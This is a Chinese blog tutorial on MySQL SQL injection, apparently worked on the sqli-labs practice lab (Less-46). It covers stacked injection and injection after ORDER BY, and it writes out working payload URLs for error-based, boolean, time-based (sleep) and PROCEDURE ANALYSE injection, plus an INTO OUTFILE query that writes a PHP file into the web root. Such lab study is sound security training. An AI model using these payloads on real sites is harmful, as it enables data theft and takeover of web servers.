【1.0版】【MYSQL安全】sql注入系列:堆叠注入

o-O-oO / 2024-08-12 / 原文

主题

sql注入系列:堆叠注入

原理

mysql数据库sql语句的默认结束符是以;结尾,在执行多条SQL语句时就要使用结束符隔开,那么在;结束一条sql语句后继续构造下一条语句,是否会一起执行

我们发现确实同时执行了,那么在实际中我们引号闭合之后也有可能可以进行堆叠注入,但是堆叠注入和开发也有一定的关系,堆叠注入的局限性在于并不是每一个环境下都可以执行, 可能受到 API 或者数据库引擎不支持的限制, 当然了权限不足也可以解释为什么攻击者无法修改数据或者调用一些程序。

order by后的注入

字面意思就是我们传的参数只能在order by之后

解决方案① 报错注入

http://sql.com/Less-46/?sort=(select%20count(*)%20from%20information_schema.columns%20group%20by%20concat(0x3a,0x3a,(select%20user()),0x3a,0x3a,floor(rand()*2)))

我在复现的过程中,发现了无论输入啥,页面都不变,经过度娘的一番解释,终于找到问题所在了。

问题原因: PHP版本不兼容,更换PHP版本即可

解决:将php版本换为5.4 .45老版本

直接进行select查询,因为只要报错就会停止返回报错信息,我们不需要管是否排序或者排序是否会报错

我们之前说rand里面添加数值他的内容就不会改变了

我们记住rand为true或者false的排序方式,和以下payload的返回结果进行判断来判断结果是否正确

http://sql.com/Less-46/?sort=rand(ascii(left(database(),1))=115)
#payload
http://sql.com/Less-46/?sort=1%20and%20If(ascii(substr(database(),1,1))=116,0,sleep(5))

rand函数是看返回结果,那我们直接用延迟函数看网站是否延迟会更方便

此方法仅适用于5.0.0<mysql<5.6.6的版本

PROCEDURE ANALYSE 通过分析select查询结果对现有的表的每一列给出优化的建议利用 procedure analyse 参数, 我们可以执行报错注入。

同时, 在 procedure analyse 和order by 之间可以存在 limit 参数, 我们在实际应用中, 往往也可能会存在 limit 后的注入, 可以
利用 procedure analyse 进行注入。

报错注入

#payload:
http://sql.com/Less-46/?sort=1%20procedure%20analyse(extractvalue(rand(),concat(0x7e,database())),1)

图片

写入shell

http://sql.com/Less-46/?sort=1 into outfile "D:\\phpstudy_pro\\WWW\\phpinfo.php" lines terminated by 0x3c3f70687020706870696e666f2829203f3e;

https://mp.weixin.qq.com/s/tAG-r-zpdY8F-7gikTYNFQ